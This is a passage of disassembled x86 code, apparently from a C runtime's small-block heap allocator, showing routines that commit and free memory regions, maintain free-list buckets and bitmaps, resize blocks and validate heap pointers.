		mov	edx, [ebp+var_4]
		cmp	dword ptr [edx+0Ch], 0
		jnz	short loc_41D7A2
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+10h]
		push	ecx
		push	0
		mov	edx, dword_4DE648
		push	edx
		call	dword_4E0480	; RtlFreeHeap
		xor	eax, eax
		jmp	short loc_41D7DB
; ---------------------------------------------------------------------------


loc_41D7A2:				; CODE XREF: sub_41D6D0+B6j
		mov	eax, [ebp+var_4]
		mov	dword ptr [eax], 0
		mov	ecx, [ebp+var_4]
		mov	dword ptr [ecx+4], 0
		mov	edx, [ebp+var_4]
		mov	dword ptr [edx+8], 0FFFFFFFFh
		mov	eax, dword_4DE664
		add	eax, 1
		mov	dword_4DE664, eax
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+10h]
		mov	dword ptr [edx], 0FFFFFFFFh
		mov	eax, [ebp+var_4]


loc_41D7DB:				; CODE XREF: sub_41D6D0+3Ej
					; sub_41D6D0+93j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_41D6D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D7E0	proc near		; CODE XREF: sub_41D190+15Bp

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+10h]
		mov	[ebp+var_2C], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+8]
		mov	[ebp+var_8], eax
		mov	[ebp+var_28], 0


loc_41D7FF:				; CODE XREF: sub_41D7E0+36j
		cmp	[ebp+var_8], 0
		jl	short loc_41D818
		mov	ecx, [ebp+var_8]
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+var_28]
		add	edx, 1
		mov	[ebp+var_28], edx
		jmp	short loc_41D7FF
; ---------------------------------------------------------------------------


loc_41D818:				; CODE XREF: sub_41D7E0+23j
		mov	eax, [ebp+var_28]
		imul	eax, 204h
		mov	ecx, [ebp+var_2C]
		lea	edx, [ecx+eax+144h]
		mov	[ebp+var_C], edx
		mov	[ebp+var_20], 0
		jmp	short loc_41D840
; ---------------------------------------------------------------------------


loc_41D837:				; CODE XREF: sub_41D7E0+84j
		mov	eax, [ebp+var_20]
		add	eax, 1
		mov	[ebp+var_20], eax


loc_41D840:				; CODE XREF: sub_41D7E0+55j
		cmp	[ebp+var_20], 3Fh
		jge	short loc_41D866
		mov	ecx, [ebp+var_20]
		mov	edx, [ebp+var_C]
		lea	eax, [edx+ecx*8]
		mov	[ebp+var_18], eax
		mov	ecx, [ebp+var_18]
		mov	edx, [ebp+var_18]
		mov	[ecx+8], edx
		mov	eax, [ebp+var_18]
		mov	ecx, [ebp+var_18]
		mov	[eax+4], ecx
		jmp	short loc_41D837
; ---------------------------------------------------------------------------


loc_41D866:				; CODE XREF: sub_41D7E0+64j
		mov	edx, [ebp+var_28]
		shl	edx, 0Fh
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+0Ch]
		add	ecx, edx
		mov	[ebp+var_10], ecx
		push	4
		push	1000h
		push	8000h
		mov	edx, [ebp+var_10]
		push	edx
		call	dword_4E0488	; VirtualAlloc
		test	eax, eax
		jnz	short loc_41D899
		or	eax, 0FFFFFFFFh
		jmp	loc_41D9CA
; ---------------------------------------------------------------------------


loc_41D899:				; CODE XREF: sub_41D7E0+AFj
		mov	eax, [ebp+var_10]
		add	eax, 7000h
		mov	[ebp+var_1C], eax
		mov	ecx, [ebp+var_10]
		mov	[ebp+var_4], ecx
		jmp	short loc_41D8B8
; ---------------------------------------------------------------------------


loc_41D8AC:				; CODE XREF: sub_41D7E0+13Bj
		mov	edx, [ebp+var_4]
		add	edx, 1000h
		mov	[ebp+var_4], edx


loc_41D8B8:				; CODE XREF: sub_41D7E0+CAj
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_1C]
		ja	short loc_41D91D
		mov	ecx, [ebp+var_4]
		mov	dword ptr [ecx+8], 0FFFFFFFFh
		mov	edx, [ebp+var_4]
		mov	dword ptr [edx+0FFCh], 0FFFFFFFFh
		mov	eax, [ebp+var_4]
		add	eax, 0Ch
		mov	[ebp+var_18], eax
		mov	ecx, [ebp+var_18]
		mov	dword ptr [ecx], 0FF0h
		mov	edx, [ebp+var_18]
		add	edx, 1000h
		mov	eax, [ebp+var_18]
		mov	[eax+4], edx
		mov	ecx, [ebp+var_18]
		sub	ecx, 1000h
		mov	edx, [ebp+var_18]
		mov	[edx+8], ecx
		mov	eax, [ebp+var_18]
		add	eax, 0FECh
		mov	[ebp+var_24], eax
		mov	ecx, [ebp+var_24]
		mov	dword ptr [ecx], 0FF0h
		jmp	short loc_41D8AC
; ---------------------------------------------------------------------------


loc_41D91D:				; CODE XREF: sub_41D7E0+DEj
		mov	edx, [ebp+var_C]
		add	edx, 1F8h
		mov	[ebp+var_14], edx
		mov	eax, [ebp+var_10]
		add	eax, 0Ch
		mov	ecx, [ebp+var_14]
		mov	[ecx+4], eax
		mov	edx, [ebp+var_14]
		mov	eax, [edx+4]
		mov	[ebp+var_18], eax
		mov	ecx, [ebp+var_18]
		mov	edx, [ebp+var_14]
		mov	[ecx+8], edx
		mov	eax, [ebp+var_1C]
		add	eax, 0Ch
		mov	ecx, [ebp+var_14]
		mov	[ecx+8], eax
		mov	edx, [ebp+var_14]
		mov	eax, [edx+8]
		mov	[ebp+var_18], eax
		mov	ecx, [ebp+var_18]
		mov	edx, [ebp+var_14]
		mov	[ecx+4], edx
		mov	eax, [ebp+var_28]
		mov	ecx, [ebp+var_2C]
		mov	dword ptr [ecx+eax*4+44h], 0
		mov	edx, [ebp+var_28]
		mov	eax, [ebp+var_2C]
		mov	dword ptr [eax+edx*4+0C4h], 1
		mov	ecx, [ebp+var_2C]
		movsx	edx, byte ptr [ecx+43h]
		mov	eax, [ebp+var_2C]
		mov	cl, [eax+43h]
		add	cl, 1
		mov	eax, [ebp+var_2C]
		mov	[eax+43h], cl
		test	edx, edx
		jnz	short loc_41D9AD
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+4]
		or	edx, 1
		mov	eax, [ebp+arg_0]
		mov	[eax+4], edx


loc_41D9AD:				; CODE XREF: sub_41D7E0+1BCj
		mov	edx, 80000000h
		mov	ecx, [ebp+var_28]
		shr	edx, cl
		not	edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+8]
		and	ecx, edx
		mov	edx, [ebp+arg_0]
		mov	[edx+8], ecx
		mov	eax, [ebp+var_28]


loc_41D9CA:				; CODE XREF: sub_41D7E0+B4j
		mov	esp, ebp
		pop	ebp
		retn
sub_41D7E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D9D0	proc near		; CODE XREF: sub_41C020+81p
					; sub_41C230+BCp

var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 30h
		mov	eax, [ebp+arg_8]
		add	eax, 17h
		and	al, 0F0h
		mov	[ebp+var_1C], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+10h]
		mov	[ebp+var_30], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_4]
		sub	ecx, [eax+0Ch]
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+var_C]
		shr	edx, 0Fh
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_4]
		imul	eax, 204h
		mov	ecx, [ebp+var_30]
		lea	edx, [ecx+eax+144h]
		mov	[ebp+var_8], edx
		mov	eax, [ebp+arg_4]
		sub	eax, 4
		mov	[ebp+var_14], eax
		mov	ecx, [ebp+var_14]
		mov	edx, [ecx]
		sub	edx, 1
		mov	[ebp+var_28], edx
		mov	eax, [ebp+var_14]
		add	eax, [ebp+var_28]
		mov	[ebp+var_2C], eax
		mov	ecx, [ebp+var_2C]
		mov	edx, [ecx]
		mov	[ebp+var_10], edx
		mov	eax, [ebp+var_1C]
		cmp	eax, [ebp+var_28]
		jle	loc_41DCF6
		mov	ecx, [ebp+var_10]
		and	ecx, 1
		test	ecx, ecx
		jnz	short loc_41DA5B
		mov	edx, [ebp+var_28]
		add	edx, [ebp+var_10]
		cmp	[ebp+var_1C], edx
		jle	short loc_41DA62


loc_41DA5B:				; CODE XREF: sub_41D9D0+7Ej
		xor	eax, eax
		jmp	loc_41DFB7
; ---------------------------------------------------------------------------


loc_41DA62:				; CODE XREF: sub_41D9D0+89j
		mov	eax, [ebp+var_10]
		sar	eax, 4
		sub	eax, 1
		mov	[ebp+var_20], eax
		cmp	[ebp+var_20], 3Fh
		jbe	short loc_41DA7B
		mov	[ebp+var_20], 3Fh


loc_41DA7B:				; CODE XREF: sub_41D9D0+A2j
		mov	ecx, [ebp+var_2C]
		mov	edx, [ebp+var_2C]
		mov	eax, [ecx+4]
		cmp	eax, [edx+8]
		jnz	loc_41DB5D
		cmp	[ebp+var_20], 20h
		jnb	short loc_41DAF2
		mov	edx, 80000000h
		mov	ecx, [ebp+var_20]
		shr	edx, cl
		not	edx
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_30]
		mov	eax, [ecx+eax*4+44h]
		and	eax, edx
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_30]
		mov	[edx+ecx*4+44h], eax
		mov	eax, [ebp+var_30]
		add	eax, [ebp+var_20]
		mov	cl, [eax+4]
		sub	cl, 1
		mov	edx, [ebp+var_30]
		add	edx, [ebp+var_20]
		mov	[edx+4], cl
		mov	eax, [ebp+var_30]
		add	eax, [ebp+var_20]
		movsx	ecx, byte ptr [eax+4]
		test	ecx, ecx
		jnz	short loc_41DAF0
		mov	edx, 80000000h
		mov	ecx, [ebp+var_20]
		shr	edx, cl
		not	edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, edx
		mov	edx, [ebp+arg_0]
		mov	[edx], ecx


loc_41DAF0:				; CODE XREF: sub_41D9D0+106j
		jmp	short loc_41DB5D
; ---------------------------------------------------------------------------


loc_41DAF2:				; CODE XREF: sub_41D9D0+C1j
		mov	ecx, [ebp+var_20]
		sub	ecx, 20h
		mov	eax, 80000000h
		shr	eax, cl
		not	eax
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_30]
		mov	ecx, [edx+ecx*4+0C4h]
		and	ecx, eax
		mov	edx, [ebp+var_4]
		mov	eax, [ebp+var_30]
		mov	[eax+edx*4+0C4h], ecx
		mov	ecx, [ebp+var_30]
		add	ecx, [ebp+var_20]
		mov	dl, [ecx+4]
		sub	dl, 1
		mov	eax, [ebp+var_30]
		add	eax, [ebp+var_20]
		mov	[eax+4], dl
		mov	ecx, [ebp+var_30]
		add	ecx, [ebp+var_20]
		movsx	edx, byte ptr [ecx+4]
		test	edx, edx
		jnz	short loc_41DB5D
		mov	ecx, [ebp+var_20]
		sub	ecx, 20h
		mov	eax, 80000000h
		shr	eax, cl
		not	eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+4]
		and	edx, eax
		mov	eax, [ebp+arg_0]
		mov	[eax+4], edx


loc_41DB5D:				; CODE XREF: sub_41D9D0+B7j
					; sub_41D9D0:loc_41DAF0j ...
		mov	ecx, [ebp+var_2C]
		mov	edx, [ecx+8]
		mov	eax, [ebp+var_2C]
		mov	ecx, [eax+4]
		mov	[edx+4], ecx
		mov	edx, [ebp+var_2C]
		mov	eax, [edx+4]
		mov	ecx, [ebp+var_2C]
		mov	edx, [ecx+8]
		mov	[eax+8], edx
		mov	eax, [ebp+var_28]
		add	eax, [ebp+var_10]
		sub	eax, [ebp+var_1C]
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jle	loc_41DCD7
		mov	ecx, [ebp+var_14]
		add	ecx, [ebp+var_1C]
		mov	[ebp+var_2C], ecx
		mov	edx, [ebp+var_10]
		sar	edx, 4
		sub	edx, 1
		mov	[ebp+var_20], edx
		cmp	[ebp+var_20], 3Fh
		jbe	short loc_41DBB3
		mov	[ebp+var_20], 3Fh


loc_41DBB3:				; CODE XREF: sub_41D9D0+1DAj
		mov	eax, [ebp+var_20]
		mov	ecx, [ebp+var_8]
		lea	edx, [ecx+eax*8]
		mov	[ebp+var_18], edx
		mov	eax, [ebp+var_2C]
		mov	ecx, [ebp+var_18]
		mov	edx, [ecx+4]
		mov	[eax+4], edx
		mov	eax, [ebp+var_2C]
		mov	ecx, [ebp+var_18]
		mov	[eax+8], ecx
		mov	edx, [ebp+var_18]
		mov	eax, [ebp+var_2C]
		mov	[edx+4], eax
		mov	ecx, [ebp+var_2C]
		mov	edx, [ecx+4]
		mov	eax, [ebp+var_2C]
		mov	[edx+8], eax
		mov	ecx, [ebp+var_2C]
		mov	edx, [ebp+var_2C]
		mov	eax, [ecx+4]
		cmp	eax, [edx+8]
		jnz	loc_41DCC3
		cmp	[ebp+var_20], 20h
		jnb	short loc_41DC5C
		mov	ecx, [ebp+var_30]
		add	ecx, [ebp+var_20]
		movsx	edx, byte ptr [ecx+4]
		mov	eax, [ebp+var_30]
		add	eax, [ebp+var_20]
		mov	cl, [eax+4]
		add	cl, 1
		mov	eax, [ebp+var_30]
		add	eax, [ebp+var_20]
		mov	[eax+4], cl
		test	edx, edx
		jnz	short loc_41DC3A
		mov	edx, 80000000h
		mov	ecx, [ebp+var_20]
		shr	edx, cl
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		or	ecx, edx
		mov	edx, [ebp+arg_0]
		mov	[edx], ecx


loc_41DC3A:				; CODE XREF: sub_41D9D0+252j
		mov	eax, 80000000h
		mov	ecx, [ebp+var_20]
		shr	eax, cl
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_30]
		mov	ecx, [edx+ecx*4+44h]
		or	ecx, eax
		mov	edx, [ebp+var_4]
		mov	eax, [ebp+var_30]
		mov	[eax+edx*4+44h], ecx
		jmp	short loc_41DCC3
; ---------------------------------------------------------------------------


loc_41DC5C:				; CODE XREF: sub_41D9D0+22Fj
		mov	ecx, [ebp+var_30]
		add	ecx, [ebp+var_20]
		movsx	edx, byte ptr [ecx+4]
		mov	eax, [ebp+var_30]
		add	eax, [ebp+var_20]
		mov	cl, [eax+4]
		add	cl, 1
		mov	eax, [ebp+var_30]
		add	eax, [ebp+var_20]
		mov	[eax+4], cl
		test	edx, edx
		jnz	short loc_41DC9A
		mov	ecx, [ebp+var_20]
		sub	ecx, 20h
		mov	edx, 80000000h
		shr	edx, cl
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+4]
		or	ecx, edx
		mov	edx, [ebp+arg_0]
		mov	[edx+4], ecx


loc_41DC9A:				; CODE XREF: sub_41D9D0+2ADj
		mov	ecx, [ebp+var_20]
		sub	ecx, 20h
		mov	eax, 80000000h
		shr	eax, cl
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_30]
		mov	ecx, [edx+ecx*4+0C4h]
		or	ecx, eax
		mov	edx, [ebp+var_4]
		mov	eax, [ebp+var_30]
		mov	[eax+edx*4+0C4h], ecx


loc_41DCC3:				; CODE XREF: sub_41D9D0+225j
					; sub_41D9D0+28Aj
		mov	ecx, [ebp+var_2C]
		mov	edx, [ebp+var_10]
		mov	[ecx], edx
		mov	eax, [ebp+var_2C]
		add	eax, [ebp+var_10]
		mov	ecx, [ebp+var_10]
		mov	[eax-4], ecx


loc_41DCD7:				; CODE XREF: sub_41D9D0+1BBj
		mov	edx, [ebp+var_1C]
		add	edx, 1
		mov	eax, [ebp+var_14]
		mov	[eax], edx
		mov	ecx, [ebp+var_1C]
		add	ecx, 1
		mov	edx, [ebp+var_14]
		add	edx, [ebp+var_1C]
		mov	[edx-4], ecx
		jmp	loc_41DFB2
; ---------------------------------------------------------------------------


loc_41DCF6:				; CODE XREF: sub_41D9D0+70j
		mov	eax, [ebp+var_1C]
		cmp	eax, [ebp+var_28]
		jge	loc_41DFB2
		mov	ecx, [ebp+var_1C]
		add	ecx, 1
		mov	edx, [ebp+var_14]
		mov	[edx], ecx
		mov	eax, [ebp+var_1C]
		add	eax, 1
		mov	ecx, [ebp+var_14]
		add	ecx, [ebp+var_1C]
		mov	[ecx-4], eax
		mov	edx, [ebp+var_14]
		add	edx, [ebp+var_1C]
		mov	[ebp+var_14], edx
		mov	eax, [ebp+var_28]
		sub	eax, [ebp+var_1C]
		mov	[ebp+var_28], eax
		mov	ecx, [ebp+var_28]
		sar	ecx, 4
		sub	ecx, 1
		mov	[ebp+var_24], ecx
		cmp	[ebp+var_24], 3Fh
		jbe	short loc_41DD47
		mov	[ebp+var_24], 3Fh


loc_41DD47:				; CODE XREF: sub_41D9D0+36Ej
		mov	edx, [ebp+var_10]
		and	edx, 1
		test	edx, edx
		jnz	loc_41DE90
		mov	eax, [ebp+var_10]
		sar	eax, 4
		sub	eax, 1
		mov	[ebp+var_20], eax
		cmp	[ebp+var_20], 3Fh
		jbe	short loc_41DD6E
		mov	[ebp+var_20], 3Fh


loc_41DD6E:				; CODE XREF: sub_41D9D0+395j
		mov	ecx, [ebp+var_2C]
		mov	edx, [ebp+var_2C]
		mov	eax, [ecx+4]
		cmp	eax, [edx+8]
		jnz	loc_41DE50
		cmp	[ebp+var_20], 20h
		jnb	short loc_41DDE5
		mov	edx, 80000000h
		mov	ecx, [ebp+var_20]
		shr	edx, cl
		not	edx
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_30]
		mov	eax, [ecx+eax*4+44h]
		and	eax, edx
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_30]
		mov	[edx+ecx*4+44h], eax
		mov	eax, [ebp+var_30]
		add	eax, [ebp+var_20]
		mov	cl, [eax+4]
		sub	cl, 1
		mov	edx, [ebp+var_30]
		add	edx, [ebp+var_20]
		mov	[edx+4], cl
		mov	eax, [ebp+var_30]
		add	eax, [ebp+var_20]
		movsx	ecx, byte ptr [eax+4]
		test	ecx, ecx
		jnz	short loc_41DDE3
		mov	edx, 80000000h
		mov	ecx, [ebp+var_20]
		shr	edx, cl
		not	edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, edx
		mov	edx, [ebp+arg_0]
		mov	[edx], ecx


loc_41DDE3:				; CODE XREF: sub_41D9D0+3F9j
		jmp	short loc_41DE50
; ---------------------------------------------------------------------------


loc_41DDE5:				; CODE XREF: sub_41D9D0+3B4j
		mov	ecx, [ebp+var_20]
		sub	ecx, 20h
		mov	eax, 80000000h
		shr	eax, cl
		not	eax
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_30]
		mov	ecx, [edx+ecx*4+0C4h]
		and	ecx, eax
		mov	edx, [ebp+var_4]
		mov	eax, [ebp+var_30]
		mov	[eax+edx*4+0C4h], ecx
		mov	ecx, [ebp+var_30]
		add	ecx, [ebp+var_20]
		mov	dl, [ecx+4]
		sub	dl, 1
		mov	eax, [ebp+var_30]
		add	eax, [ebp+var_20]
		mov	[eax+4], dl
		mov	ecx, [ebp+var_30]
		add	ecx, [ebp+var_20]
		movsx	edx, byte ptr [ecx+4]
		test	edx, edx
		jnz	short loc_41DE50
		mov	ecx, [ebp+var_20]
		sub	ecx, 20h
		mov	eax, 80000000h
		shr	eax, cl
		not	eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+4]
		and	edx, eax
		mov	eax, [ebp+arg_0]
		mov	[eax+4], edx


loc_41DE50:				; CODE XREF: sub_41D9D0+3AAj
					; sub_41D9D0:loc_41DDE3j ...
		mov	ecx, [ebp+var_2C]
		mov	edx, [ecx+8]
		mov	eax, [ebp+var_2C]
		mov	ecx, [eax+4]
		mov	[edx+4], ecx
		mov	edx, [ebp+var_2C]
		mov	eax, [edx+4]
		mov	ecx, [ebp+var_2C]
		mov	edx, [ecx+8]
		mov	[eax+8], edx
		mov	eax, [ebp+var_28]
		add	eax, [ebp+var_10]
		mov	[ebp+var_28], eax
		mov	ecx, [ebp+var_28]
		sar	ecx, 4
		sub	ecx, 1
		mov	[ebp+var_24], ecx
		cmp	[ebp+var_24], 3Fh
		jbe	short loc_41DE90
		mov	[ebp+var_24], 3Fh


loc_41DE90:				; CODE XREF: sub_41D9D0+37Fj
					; sub_41D9D0+4B7j
		mov	edx, [ebp+var_24]
		mov	eax, [ebp+var_8]
		lea	ecx, [eax+edx*8]
		mov	[ebp+var_18], ecx
		mov	edx, [ebp+var_14]
		mov	eax, [ebp+var_18]
		mov	ecx, [eax+4]
		mov	[edx+4], ecx
		mov	edx, [ebp+var_14]
		mov	eax, [ebp+var_18]
		mov	[edx+8], eax
		mov	ecx, [ebp+var_18]
		mov	edx, [ebp+var_14]
		mov	[ecx+4], edx
		mov	eax, [ebp+var_14]
		mov	ecx, [eax+4]
		mov	edx, [ebp+var_14]
		mov	[ecx+8], edx
		mov	eax, [ebp+var_14]
		mov	ecx, [ebp+var_14]
		mov	edx, [eax+4]
		cmp	edx, [ecx+8]
		jnz	loc_41DF9E
		cmp	[ebp+var_24], 20h
		jnb	short loc_41DF38
		mov	eax, [ebp+var_30]
		add	eax, [ebp+var_24]
		movsx	ecx, byte ptr [eax+4]
		mov	edx, [ebp+var_30]
		add	edx, [ebp+var_24]
		mov	al, [edx+4]
		add	al, 1
		mov	edx, [ebp+var_30]
		add	edx, [ebp+var_24]
		mov	[edx+4], al
		test	ecx, ecx
		jnz	short loc_41DF16
		mov	eax, 80000000h
		mov	ecx, [ebp+var_24]
		shr	eax, cl
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		or	edx, eax
		mov	eax, [ebp+arg_0]
		mov	[eax], edx


loc_41DF16:				; CODE XREF: sub_41D9D0+52Ej
		mov	edx, 80000000h
		mov	ecx, [ebp+var_24]
		shr	edx, cl
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_30]
		mov	eax, [ecx+eax*4+44h]
		or	eax, edx
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_30]
		mov	[edx+ecx*4+44h], eax
		jmp	short loc_41DF9E
; ---------------------------------------------------------------------------


loc_41DF38:				; CODE XREF: sub_41D9D0+50Cj
		mov	eax, [ebp+var_30]
		add	eax, [ebp+var_24]
		movsx	ecx, byte ptr [eax+4]
		mov	edx, [ebp+var_30]
		add	edx, [ebp+var_24]
		mov	al, [edx+4]
		add	al, 1
		mov	edx, [ebp+var_30]
		add	edx, [ebp+var_24]
		mov	[edx+4], al
		test	ecx, ecx
		jnz	short loc_41DF75
		mov	ecx, [ebp+var_24]
		sub	ecx, 20h
		mov	eax, 80000000h
		shr	eax, cl
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+4]
		or	edx, eax
		mov	eax, [ebp+arg_0]
		mov	[eax+4], edx


loc_41DF75:				; CODE XREF: sub_41D9D0+588j
		mov	ecx, [ebp+var_24]
		sub	ecx, 20h
		mov	edx, 80000000h
		shr	edx, cl
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_30]
		mov	eax, [ecx+eax*4+0C4h]
		or	eax, edx
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_30]
		mov	[edx+ecx*4+0C4h], eax


loc_41DF9E:				; CODE XREF: sub_41D9D0+502j
					; sub_41D9D0+566j
		mov	eax, [ebp+var_14]
		mov	ecx, [ebp+var_28]
		mov	[eax], ecx
		mov	edx, [ebp+var_14]
		add	edx, [ebp+var_28]
		mov	eax, [ebp+var_28]
		mov	[edx-4], eax


loc_41DFB2:				; CODE XREF: sub_41D9D0+321j
					; sub_41D9D0+32Cj
		mov	eax, 1


loc_41DFB7:				; CODE XREF: sub_41D9D0+8Dj
		mov	esp, ebp
		pop	ebp
		retn
sub_41D9D0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4DE660, 0
		jz	loc_41E0EC
		mov	eax, dword_4DE654
		shl	eax, 0Fh
		mov	ecx, dword_4DE660
		mov	edx, [ecx+0Ch]
		add	edx, eax
		mov	[ebp-4], edx
		push	4000h
		push	8000h
		mov	eax, [ebp-4]
		push	eax
		call	dword_4E0484	; VirtualFree
		mov	edx, 80000000h
		mov	ecx, dword_4DE654
		shr	edx, cl
		mov	eax, dword_4DE660
		mov	ecx, [eax+8]
		or	ecx, edx
		mov	edx, dword_4DE660
		mov	[edx+8], ecx
		mov	eax, dword_4DE660
		mov	ecx, [eax+10h]
		mov	edx, dword_4DE654
		mov	dword ptr [ecx+edx*4+0C4h], 0
		mov	eax, dword_4DE660
		mov	ecx, [eax+10h]
		mov	dl, [ecx+43h]
		sub	dl, 1
		mov	eax, dword_4DE660
		mov	ecx, [eax+10h]
		mov	[ecx+43h], dl
		mov	edx, dword_4DE660
		mov	eax, [edx+10h]
		movsx	ecx, byte ptr [eax+43h]
		test	ecx, ecx
		jnz	short loc_41E072
		mov	edx, dword_4DE660
		mov	eax, [edx+4]
		and	al, 0FEh
		mov	ecx, dword_4DE660
		mov	[ecx+4], eax


loc_41E072:				; CODE XREF: .data:0041E05Cj
		mov	edx, dword_4DE660
		cmp	dword ptr [edx+8], 0FFFFFFFFh
		jnz	short loc_41E0E2
		cmp	dword_4DE664, 1
		jle	short loc_41E0E2
		mov	eax, dword_4DE660
		mov	ecx, [eax+10h]
		push	ecx
		push	0
		mov	edx, dword_4DE648
		push	edx
		call	dword_4E0480	; RtlFreeHeap
		mov	eax, dword_4DE664
		imul	eax, 14h
		mov	ecx, dword_4DE668
		add	ecx, eax
		mov	edx, dword_4DE660
		add	edx, 14h
		sub	ecx, edx
		push	ecx
		mov	eax, dword_4DE660
		add	eax, 14h
		push	eax
		mov	ecx, dword_4DE660
		push	ecx
		call	sub_419A90
		add	esp, 0Ch
		mov	edx, dword_4DE664
		sub	edx, 1
		mov	dword_4DE664, edx


loc_41E0E2:				; CODE XREF: .data:0041E07Cj
					; .data:0041E085j
		mov	dword_4DE660, 0


loc_41E0EC:				; CODE XREF: .data:0041DFCBj
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E0F0	proc near		; CODE XREF: sub_41C820+44p

var_168		= dword	ptr -168h
var_164		= dword	ptr -164h
var_160		= dword	ptr -160h
var_15C		= dword	ptr -15Ch
var_158		= dword	ptr -158h
var_154		= dword	ptr -154h
var_150		= dword	ptr -150h
var_14C		= dword	ptr -14Ch
var_148		= dword	ptr -148h
var_144		= dword	ptr -144h
var_140		= dword	ptr -140h
var_13C		= dword	ptr -13Ch
var_138		= dword	ptr -138h
var_134		= dword	ptr -134h
var_130		= dword	ptr -130h
var_12C		= dword	ptr -12Ch
var_128		= dword	ptr -128h
var_124		= dword	ptr -124h
var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_118		= dword	ptr -118h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 168h
		mov	eax, dword_4DE664
		imul	eax, 14h
		push	eax
		mov	ecx, dword_4DE668
		push	ecx
		call	dword_4E0440	; IsBadWritePtr
		test	eax, eax
		jz	short loc_41E11B
		or	eax, 0FFFFFFFFh
		jmp	loc_41E709
; ---------------------------------------------------------------------------


loc_41E11B:				; CODE XREF: sub_41E0F0+21j
		mov	edx, dword_4DE668
		mov	[ebp+var_13C], edx
		mov	[ebp+var_120], 0
		jmp	short loc_41E142
; ---------------------------------------------------------------------------


loc_41E133:				; CODE XREF: sub_41E0F0+612j
		mov	eax, [ebp+var_120]
		add	eax, 1
		mov	[ebp+var_120], eax


loc_41E142:				; CODE XREF: sub_41E0F0+41j
		mov	ecx, [ebp+var_120]
		cmp	ecx, dword_4DE664
		jge	loc_41E707
		mov	edx, [ebp+var_13C]
		mov	eax, [edx+10h]
		mov	[ebp+var_160], eax
		push	41C4h
		mov	ecx, [ebp+var_160]
		push	ecx
		call	dword_4E0440	; IsBadWritePtr
		test	eax, eax
		jz	short loc_41E183
		mov	eax, 0FFFFFFFEh
		jmp	loc_41E709
; ---------------------------------------------------------------------------


loc_41E183:				; CODE XREF: sub_41E0F0+87j
		mov	edx, [ebp+var_13C]
		mov	eax, [edx+0Ch]
		mov	[ebp+var_128], eax
		mov	ecx, [ebp+var_160]
		add	ecx, 144h
		mov	[ebp+var_18], ecx
		mov	edx, [ebp+var_13C]
		mov	eax, [edx+8]
		mov	[ebp+var_4], eax
		mov	[ebp+var_144], 0
		mov	[ebp+var_158], 0
		mov	[ebp+var_C], 0
		jmp	short loc_41E1D3
; ---------------------------------------------------------------------------


loc_41E1CA:				; CODE XREF: sub_41E0F0+5D6j
		mov	ecx, [ebp+var_C]
		add	ecx, 1
		mov	[ebp+var_C], ecx


loc_41E1D3:				; CODE XREF: sub_41E0F0+D8j
		cmp	[ebp+var_C], 20h
		jge	loc_41E6CB
		mov	[ebp+var_11C], 0
		mov	[ebp+var_150], 0
		mov	[ebp+var_12C], 0
		mov	[ebp+var_14C], 0
